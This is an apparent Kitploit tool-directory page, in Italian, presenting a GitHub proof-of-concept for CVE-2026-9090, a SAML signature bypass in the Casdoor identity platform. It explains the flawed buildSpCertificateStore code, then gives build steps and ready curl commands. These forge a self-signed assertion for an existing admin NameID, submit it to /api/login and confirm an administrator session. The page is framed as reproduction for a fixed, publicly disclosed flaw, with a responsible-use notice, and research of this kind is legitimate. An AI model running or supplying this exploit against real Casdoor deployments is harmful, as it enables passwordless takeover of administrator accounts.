Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-9090-poc — PoC per CVE-2026-9090 — Bypass della firma SAML di Casdoor (CWE-347). Solo riproduzione; coordinato tramite CERT/CC VU#780781. | Kitploit
Strumenti/GitHubGitHub/kimdir01/cve-2026-9090-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingAutenticazione
GitHubkimdir01/cve-2026-9090-poc

CVE-2026-9090-poc

PoC per CVE-2026-9090 — Bypass della firma SAML di Casdoor (CWE-347). Solo riproduzione; coordinato tramite CERT/CC VU#780781.

Vedi Repository
161 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-9090 — Bypass della firma SAML di Casdoor (PoC)

Proof-of-concept per CVE-2026-9090 (CWE-347, Verifica impropria della firma crittografica), un bypass dell'autenticazione nella piattaforma di identità Casdoor.

Attribuzione. CVE-2026-9090 è stato pubblicato e coordinato da CERT/CC — vedi VU#780781. Questo repository è un proof-of-concept indipendente e di sola riproduzione per la vulnerabilità già pubblica; non rivendica la scoperta del problema.

La vulnerabilità

Quando Casdoor elabora una risposta SAML su POST /api/acs (login tramite un provider SAML esterno), la funzione buildSpCertificateStore costruisce l'ancora di fiducia della firma dal <X509Certificate> incorporato nella risposta SAML in arrivo, invece che dal certificato registrato per il provider di identità.

// object/saml_sp.go  (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
    certEncodedData := ""
    if samlResponse != "" {
        certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
    } else if provider.IdP != "" {
        certEncodedData = provider.IdP
    }
    ...
    certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}

Poiché l'ancora di fiducia è ricavata dalla risposta, un attaccante può firmare un'asserzione SAML con il proprio certificato autofirmato, includere tale certificato nella risposta e la firma viene validata contro se stessa. Impostando il NameID su un utente esistente si ottiene l'accesso a quell'account — se si tratta di un amministratore, l'attaccante ottiene una sessione da amministratore. Non è coinvolta alcuna password.

  • Versioni interessate: Casdoor <= 2.362.0
  • Risolto: le release successive costruiscono lo store solo dal provider.IdP registrato (buildSpCertificateStore(provider *Provider) non legge più la risposta). Aggiornare a una release corrente.
  • Classe: CWE-347 — ancora di fiducia autoreferenziale.

Cosa fa questo PoC

forge_saml.go costruisce una SAML Response completa la cui Assertion è firmata da una chiave autofirmata usa e getta, con il certificato di quella chiave incorporato in <ds:KeyInfo><ds:X509Certificate>. Utilizza la stessa libreria goxmldsig di Casdoor, quindi la canonicalizzazione e il formato della firma vengono accettati così come sono.

Compilazione

go mod init cve-2026-9090-poc      # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go

Utilizzo

# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
  --nameid [email protected] \
  --acs      http://TARGET:8000/api/acs \
  --audience http://TARGET:8000/api/acs \
  > forged.b64

# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
#    url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
  "http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
  -H 'Content-Type: application/json' \
  -d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}

# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'

APP, ORG e SAML_PROVIDER sono rispettivamente il nome dell'applicazione, l'organizzazione e il provider SAML associato a quell'applicazione. La registrazione di un'applicazione Casdoor (inclusi i provider associati) è consultabile su /api/get-application?id=admin/<name>.

Uso responsabile

Questo PoC è pubblicato per una vulnerabilità risolta e pubblicamente divulgata, per test difensivi, ingegneria delle detection e ricerca. Eseguilo solo contro sistemi che sei autorizzato a testare. Il rimedio corretto consiste nell'aggiornare Casdoor a una release in cui buildSpCertificateStore valida rispetto al certificato del provider registrato.

Riferimenti

  • CERT/CC VU#780781 — https://kb.cert.org/vuls/id/780781
  • Casdoor — https://github.com/casdoor/casdoor
  • CWE-347 — https://cwe.mitre.org/data/definitions/347.html

Licenza

MIT — vedi LICENSE.

Scarica lo strumento